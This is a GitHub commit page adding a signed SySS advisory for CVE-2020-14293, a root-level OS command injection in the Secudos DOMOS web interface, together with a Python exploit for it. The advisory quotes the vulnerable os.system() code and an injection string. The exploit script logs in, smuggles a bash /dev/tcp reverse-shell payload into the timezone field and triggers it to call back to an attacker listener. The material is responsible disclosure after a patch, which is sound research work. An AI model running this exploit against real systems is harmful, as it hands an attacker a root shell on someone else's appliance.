-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Patrick Hener
committed
Sep 24, 2020
1 parent
ca14f7b
commit 6fa262a
Showing
7 changed files
with
750 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,157 @@ | ||
-----BEGIN PGP SIGNED MESSAGE----- | ||
Hash: SHA512 | ||
|
||
Advisory ID: SYSS-2020-025 | ||
Product: DOMOS | ||
Manufacturer: Secudos GmbH | ||
Affected Version(s): <= DOMOS 5.8 | ||
Tested Version(s): DOMOS 5.8 | ||
Vulnerability Type: OS Command Injection (CWE-78) | ||
Risk Level: Low | ||
Solution Status: Solved | ||
Manufacturer Notification: 2020-06-17 | ||
Solution Date: 2020-08-12 | ||
Public Disclosure: 2020-09-28 | ||
CVE Reference: CVE-2020-14293 | ||
Author of Advisory: Patrick Hener, SySS GmbH | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Overview: | ||
|
||
DOMOS is a hardened operating system of Secudos GmbH. This operating system is | ||
used for different applications of said company. It offers a web interface to | ||
perform administrative tasks within the operating system easily. | ||
|
||
Due to insufficient input validation of user provided data it is vulnerable to | ||
OS Command Injection. | ||
|
||
The default configuration after deploying the appliance does not grant remote | ||
access to the web interface. This inteface is bound to a local ip address | ||
instead. | ||
|
||
As per the requirements of valid admin credentials and network access to | ||
the appliance the vulnerability is rated with as a low security risk. | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Vulnerability Details: | ||
|
||
The tasks which are initiated from within the web application use python | ||
scripts at the backend server to change server settings. Within these scripts | ||
user input is concatinated within the function os.system() of python, which | ||
itself will initiate the operating system command. | ||
|
||
For example the script 'conf_datetime' which is located at | ||
/opt/secudos/DomosConf/scripts uses os.system() in a insecure manner as can be | ||
seen here: | ||
|
||
# /etc/sysconfig/clock | ||
fn = '/etc/sysconfig/clock' | ||
zone = db.get('datetime.clock.timezone', 'Europe/Berlin') | ||
try: | ||
fout = open(fn,'w') | ||
fout.write('ZONE="'+zone+'"\n') | ||
fout.write('UTC=true\n') | ||
fout.write('ARC=false\n') | ||
fout.close() | ||
except: | ||
print "Can't create",fn | ||
|
||
# /etc/localtime | ||
fn = '/etc/localtime' | ||
fln = '/usr/share/zoneinfo/' + zone | ||
try: | ||
cmd = '/bin/ln -sf ' + fln + ' ' + fn | ||
os.system(cmd) | ||
|
||
The parameter 'zone' is defined as a field within the web interface. | ||
By using an intercepting proxy and changing the value from 'Europe/Berlin' | ||
to 'Europe/Berlin /etc/localtime; touch /tmp/hacked; cat' for example the | ||
file 'hacked' will be created at '/tmp/' when applying the settings. | ||
|
||
Furthermore the script will be run as root, which is a local privilege | ||
escalation, as well. | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Proof of Concept (PoC): | ||
|
||
Using the above technique it was possible to echo the output of the command | ||
'id' into a file proving the script is run as root: | ||
|
||
[admin@localhost ~]$ cat /tmp/hacked | ||
uid=0(root) gid=0(root) groups=0(root) | ||
|
||
Also refer to [1], for a weaponized exploit. | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Solution: | ||
|
||
The issue was fixed in Version DOMOS 5.8.1. Upgrade to this version. | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Disclosure Timeline: | ||
|
||
2020-06-02: Vulnerability discovered | ||
2020-06-17: Vulnerability reported to manufacturer | ||
2020-08-12: Patch released by manufacturer | ||
2020-09-28: Public disclosure of vulnerability | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
References: | ||
|
||
[1] Weaponized Go Exploit | ||
https://exploit-db.com/exploits/xxxxxx (will be updated after publishing) | ||
[2] SySS Security Advisory SYSS-2020-025 | ||
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-025.txt | ||
[3] SySS Responsible Disclosure Policy | ||
https://www.syss.de/en/news/responsible-disclosure-policy/ | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Credits: | ||
|
||
This security vulnerability was found by Patrick Hener of SySS GmbH. | ||
|
||
E-Mail: [email protected] | ||
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Patrick_Hener.asc | ||
Key ID: 5C708555930AA477 | ||
Key Fingerprint: 9CB7 1E87 BD83 64B7 38F2 3434 5C70 8555 930A A477 | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Disclaimer: | ||
|
||
The information provided in this security advisory is provided "as is" | ||
and without warranty of any kind. Details of this security advisory may | ||
be updated in order to provide as accurate information as possible. The | ||
latest version of this security advisory is available on the SySS Web | ||
site. | ||
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Copyright: | ||
|
||
Creative Commons - Attribution (by) - Version 3.0 | ||
URL: http://creativecommons.org/licenses/by/3.0/deed.en | ||
|
||
-----BEGIN PGP SIGNATURE----- | ||
|
||
iQIzBAEBCgAdFiEEnLceh72DZLc48jQ0XHCFVZMKpHcFAl9sT0cACgkQXHCFVZMK | ||
pHffEw/6AgGyNI3JJ3JFu23fnL+cPeOKb0sLFm7NDI/9A4mef9ZO+sH9BS2j5kJ0 | ||
M5u0RnYOel6eqpb+uGh1TGOnyoVgikc18t6UnODoRloVi0Gj4tDpA5aA3TDGTOJ5 | ||
SocaeJ95+OXUJtVJSLbCc9hpOKgS/skVaEhs9IkeO7E5Vw+8IVTCdPkSACk/NdUt | ||
ytY19sRJM04VPUqaxmkkHf7jE4wcYeYd1ZXZzKj/ShhqgHPqRbdTJcVq7uD15F7G | ||
FGCTCroHZj0rOzvZNSofJHf042yq/QaoU9PpVsApcKmWiuOv9B5CQctjsPed8DGa | ||
tvxcz3O7rS5sWDUkHtYVhPFOfr3V6YgN1c3JQ7fwposv3XkZ5LNrRne8d5H6GKKj | ||
/4IhPSWjny2brAUjasYJp4ic9nNXJ/g1z4efy/+SvBROAzYkYv3xU+qc63GM9tE4 | ||
/fr4Ti4uL8RTXyGFlHz7M7jYcOgE4F6O4ToAsQwHkuGs+qmPPytfwb1spSHAyoZL | ||
PHIeZ+S+7ovcePLskNBZHASU2TcB4Ni4lQ7ymd1iU/fQBpW82MgjzX6ymzJaNVk2 | ||
w5TrP0WE2c2meJZe52hFQskusnxSXy27vFVDchUxUKCGW2kpdsP8XNo1Nq1njqgz | ||
dvJwsAAGSb5w66xqcPnQghu9lCD9CPDhxcF7PNhQHoRYqGLHDAo= | ||
=pHhO | ||
-----END PGP SIGNATURE----- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,117 @@ | ||
#!/usr/bin/env python | ||
# This exploit was written by Patrick Hener, SySS GmbH | ||
# Advisory: SYSS-2020-025 (https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-025.txt) | ||
# CVE: CVE-2020-14293 | ||
# exploit-db: https://exploit-db.com/exploits/xxxxxxx | ||
# Requirements: netcat listener running | ||
|
||
import requests | ||
import re | ||
import os | ||
import sys | ||
from urllib3.exceptions import InsecureRequestWarning | ||
|
||
# Setup of args | ||
if len(sys.argv) < 6: | ||
print( | ||
f"usage: python {sys.argv[0]} username[admin] password[admin] lhost[192.168.x.x] lport[4444] url[https://ip:10000]") | ||
sys.exit(0) | ||
|
||
user = sys.argv[1] | ||
password = sys.argv[2] | ||
lhost = sys.argv[3] | ||
lport = sys.argv[4] | ||
url = sys.argv[5] | ||
|
||
# You can but do not have to modify this | ||
payload = f'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1' | ||
|
||
# omit ssl warnings | ||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | ||
|
||
# Setup Cookie jar for session cookie | ||
session = requests.Session() | ||
|
||
|
||
def preflight(): | ||
# Preflight GET for getting session_id | ||
preflight_response = session.get(url, verify=False) | ||
|
||
return preflight_response | ||
|
||
|
||
def login(): | ||
# Login request | ||
login_data = {'dcfct': 'DCbase.login', | ||
'username': user, 'password': password} | ||
login_response = session.post(url, login_data, verify=False) | ||
|
||
return login_response | ||
|
||
|
||
def inject_payload(): | ||
files = { | ||
'dcfct': (None, 'DCbase.pageinput'), | ||
'dbkey:datetime.clock.timezone': (None, f'Europe/Berlin /etc/localtime; {payload}; cat'), | ||
'submit': (None, 'save') | ||
} | ||
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0", | ||
"Accept-Encoding": "gzip, deflate", | ||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", | ||
"Connection": "close", | ||
"Accept-Language": "en-US,en;q=0.5", | ||
"Referer": f"{url}/smenu/td_timezone", | ||
"Upgrade-Insecure-Requests": "1"} | ||
|
||
payload_response = session.post(f"{url}/page/td_timezone", headers=headers, files=files, verify=False) | ||
|
||
return payload_response | ||
|
||
|
||
def trigger_activation(): | ||
# Trigger activation by activating settings changes | ||
trigger_response = session.get(f"{url}/reconf", verify=False) | ||
|
||
return trigger_response | ||
|
||
def trigger_check(): | ||
# Postflight request | ||
trigger_response = session.get(f"{url}/reconfshow", verify=False) | ||
|
||
return trigger_response | ||
|
||
|
||
if __name__ == "__main__": | ||
# Stage 1 preflight | ||
print("[*] sending preflight request to acquire session_id") | ||
preflight_response = preflight() | ||
if preflight_response.status_code == 200: | ||
print("[+] session_id acquired") | ||
else: | ||
print("[-] session_id could not be acquired.") | ||
sys.exit(0) | ||
# Stage 2 login | ||
print("[*] sending login request to validate session.") | ||
login_response = login() | ||
has_error = re.search('Error', login_response.text) | ||
if not has_error: | ||
print("[+] login was successful") | ||
else: | ||
print("[-] there was something wrong with the login -> check credentials again") | ||
sys.exit(0) | ||
# Stage 3 inject payload | ||
print(f"[*] Trying to inject payload: {payload}") | ||
# Weird stuff, have to send 2 times!? | ||
payload_response = inject_payload() | ||
payload_response = inject_payload() | ||
if payload_response.status_code == 200: | ||
print("[+] successfully injected payload") | ||
else: | ||
print("[-] something went wrong injecting the payload") | ||
sys.exit(0) | ||
# Stage 4 triggering payload | ||
print("[*] activating settings changes to trigger payload") | ||
trigger_response = trigger_activation() | ||
print("[*] be sure to have your listener running at this point.\n[*] Shell should pop every second") | ||
trigger_response = trigger_check() | ||
sys.exit() |
Oops, something went wrong.